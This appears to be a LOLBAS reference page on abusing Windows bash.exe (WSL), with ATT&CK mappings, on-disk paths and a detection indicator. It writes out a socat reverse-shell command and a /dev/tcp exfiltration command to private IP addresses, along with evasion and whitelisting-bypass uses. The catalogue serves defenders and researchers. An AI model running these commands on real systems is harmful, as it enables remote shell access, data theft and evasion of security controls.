LOLBAS. GitHub
LIVING OFF THE LAND / OS BINARIES

Bash.exe

View source

File used by Windows subsystem for Linux

ExecuteAWL Bypass
05COMMAND EXAMPLES
02ATT&CK TECHNIQUES
02DETECTION RESOURCES
02CAPABILITIES
01 / TRADECRAFT

Command reference

5 examples

Execute4

EXAMPLE 01T1202

Executes executable from bash.exe

COMMAND
bash.exe -c "{CMD}"
USE CASE
Performs execution of specified file, can be used as a defensive evasion.
PRIVILEGES
User
OPERATING SYSTEM
Windows 10
Execute · CMD
EXAMPLE 02T1202

Executes a reverse shell

COMMAND
bash.exe -c "socat tcp-connect:192.168.1.9:66 exec:sh,pty,stderr,setsid,sigint,sane"
USE CASE
Performs execution of specified file, can be used as a defensive evasion.
PRIVILEGES
User
OPERATING SYSTEM
Windows 10
Execute · CMD
EXAMPLE 03T1202

Exfiltrate data

COMMAND
bash.exe -c 'cat {PATH:.zip} > /dev/tcp/192.168.1.10/24'
USE CASE
Performs execution of specified file, can be used as a defensive evasion.
PRIVILEGES
User
OPERATING SYSTEM
Windows 10
Execute · CMD
EXAMPLE 04T1218

When executed, `bash.exe` queries the registry value of `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Lxss\MSI\InstallLocation`, which contains a folder path (`c:\program files\wsl` by default). If the value points to another folder containing a file named `wsl.exe`, it will be executed instead of the legitimate `wsl.exe` in the program files folder.

COMMAND
bash.exe
USE CASE
Execute a payload as a child process of `bash.exe` while masquerading as WSL.
PRIVILEGES
User
OPERATING SYSTEM
Windows 10, Windows Server 2019, Windows 11
Execute · CMD

AWL Bypass1

EXAMPLE 01T1202

Executes executable from bash.exe

COMMAND
bash.exe -c "{CMD}"
USE CASE
Performs execution of specified file, can be used to bypass Application Whitelisting.
PRIVILEGES
User
OPERATING SYSTEM
Windows 10
Execute · CMD
02 / ON DISK

Known paths

C:\Windows\System32\bash.exe
C:\Windows\SysWOW64\bash.exe
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

2 resources

Indicators & detection notes

  • IOC

    Child process from bash.exe

FURTHER READING

Research & resources

COMMUNITY RESEARCH

Acknowledgements

Alex Ionescu@aionescu
Asif Matadar@d1r4c
Liran Ravich, CardinalOps